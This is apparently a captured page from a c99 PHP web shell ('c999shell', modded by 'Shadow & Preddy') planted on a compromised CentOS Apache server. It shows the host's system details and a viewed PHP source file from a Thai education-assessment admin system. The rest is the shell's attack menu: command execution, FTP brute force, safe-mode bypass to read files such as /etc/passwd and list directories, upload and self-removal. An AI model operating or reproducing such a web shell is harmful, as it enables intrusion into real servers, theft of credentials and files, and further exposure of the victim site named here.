!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/fileupdate/eassess/admin/   drwxr-xr-x
Free 50.75 GB of 127.8 GB (39.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2552-03-04-1.0.01-printfileupdate.php (4.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsFileUpdate.php";        
        
openWindow();
autotab();

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
$oFd = new FileUpdate($oCA);
$oFd1 = new FileUpdate($oCA);
  
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr align="center">
    <td align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>เวอร์ชั่นปัจจุบันของระบบประเมินการศึกษา</strong></font></td>
    </tr>
    <tr>
    <td>&nbsp;</td>
    </tr>
    <tr>
        <td><div align="center">
          <table width="95%" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"  > 
              <td width="10%"  height="17" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>วันที่อัพเดท</strong></font></td>
              <td width="10%"  align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวลาอัพเดท</strong></font></td>
              <td width="40%"  align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อไฟล์ 
                (เวอร์ชั่น)</strong></font></td>
              <td width="5%"  align="center">&nbsp;</td>
              <td width="30%"  align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายละเอียดการเปลี่ยนแปลง</strong> 
                </font></td>
            </tr>
            <? 
                    $oFd1
->RSFileUpdatepath();
                    while(
$oFd1->GetRecord()){ ?> 
            <tr> 
              <td colspan="8" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_3"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong><? echo $oFd1->path?></strong></font></td>
            </tr>
            <?    $i=0;
        if(
$sort_show=="0" || $sort_show==""){    
              
$oFd->RSFileUpdate2path($oFd1->path);
        }else{
            
$oFd->RSFileUpdate2pathordertext($oFd1->path);
        }
        while(
$oFd->GetRecord() ){
            if((
$i%2) == 0)
                                          echo 
"<tr>";
                                    else
                                          echo 
"<tr bgcolor=\"#F0F8FF\">";
?>
              <td height="21" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo abbreDate2($oFd->updateDate); ?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->updatetime?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->filename2==""){ echo $oFd->filename1; }else{ echo $oFd->filename2; }?>
                </font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
              <? if($oFd->flagfile=="1"){ echo "C"; }else if($oFd->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?></font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->detail==""){  echo "-"; }else{  echo $oFd->detail;  } ?>
                <? if($oFd->flagfile=="3"){  echo "&nbsp;( ลบไฟล์ )";}?>
                </font></td>
            </tr>
            <?  $i++;  } }?>
            <?                if($i == 0){
?>
            <tr> 
              <td colspan="8" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
            </tr>
            <?php
                        
}  ?>
          </table>
        </div>
            </td>
    </tr>
</table>
<table align="center" width="95%" border="0" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>" valign="top">
        <tr>
        <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> <b>หมายเหตุ 
      : </b>&nbsp;<br>
      ประเภทของไฟล์ :: C หมายถึงไฟล์ที่สร้างใหม่<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      E หมายถึงไฟล์ที่แก้ไข<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      D หมายถึงไฟล์ที่ถูกลบ<br> 
</font></td>
        </tr>
        </table>
<table align="center">
        <tr>
        <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><a href="#" onClick="window.close()">[ปิดหน้าต่างนี้]</a></font></td>
        </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--